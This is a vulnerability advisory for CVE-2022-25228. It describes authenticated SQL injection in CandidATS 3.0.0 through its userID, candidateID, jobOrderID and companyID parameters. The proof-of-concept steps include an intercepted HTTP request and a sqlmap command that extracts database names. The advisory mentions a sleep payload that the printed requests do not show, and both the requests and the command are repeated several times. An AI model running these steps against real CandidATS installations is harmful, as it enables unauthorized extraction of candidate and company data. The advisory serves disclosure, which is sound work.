CandidATS 3.0.0 - Authenticated SQL Injection

Description

CandidATS Version 3.0.0 Beta allows an authenticated user to inject SQL queries in /index.php?m=settings&a=show via the userID parameter, in /index.php?m=candidates&a=show via the candidateID, in /index.php?m=joborders&a=show via the jobOrderID and /index.php?m=companies&a=show via the companyID parameter

Proof of Concept

1. Log in to CandidATS with a user who has permissions to read job orders, candidates or companies.

2. Go to index.php?m=joborders (or any of the option above).

3. Uncheck the Only My Companies option.

4. Select any of the items listed and intercept the request with BurpSuite.

5. It is possible to inject sql sentences inside the companyID parameter, for example, the following request will make the database sleep for 5 seconds.

6. Save the intercepted request into a file.

   GET /candidATS/index.php?m=companies&a=show&companyID=2 HTTP/1.1
   Host: 172.16.28.136
   User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:98.0) Gecko/20100101 Firefox/98.0
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*
   
   

   GET /candidATS/index.php?m=companies&a=show&companyID=2 HTTP/1.1
   Host: 172.16.28.136
   User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:98.0) Gecko/20100101 Firefox/98.0
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*
   
   

   GET /candidATS/index.php?m=companies&a=show&companyID=2 HTTP/1.1
   Host: 172.16.28.136
   User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:98.0) Gecko/20100101 Firefox/98.0
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*
   
   

   GET /candidATS/index.php?m=companies&a=show&companyID=2 HTTP/1.1
   Host: 172.16.28.136
   User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:98.0) Gecko/20100101 Firefox/98.0
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*
   
   

7. Run the following command from sqlmap in order to extract information from the database.

   sqlmap -r companyId.req -p companyID --dbs --batch

   sqlmap -r companyId.req -p companyID --dbs --batch

   sqlmap -r companyId.req -p companyID --dbs --batch

   sqlmap -r companyId.req -p companyID --dbs --batch

Our security policy

We have reserved the CVE-2022-25228 to refer to these issues from now on. Disclosure policy

System Information

• Version: CandidATS 3.0.0

• Operating System: GNU/Linux

References

• Vendor page: https://candidats.net/forums/

Exploit

It is possible to use sqlmap in order to extract information from the database.

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Oscar Uribe from Fluid Attacks' Offensive Team.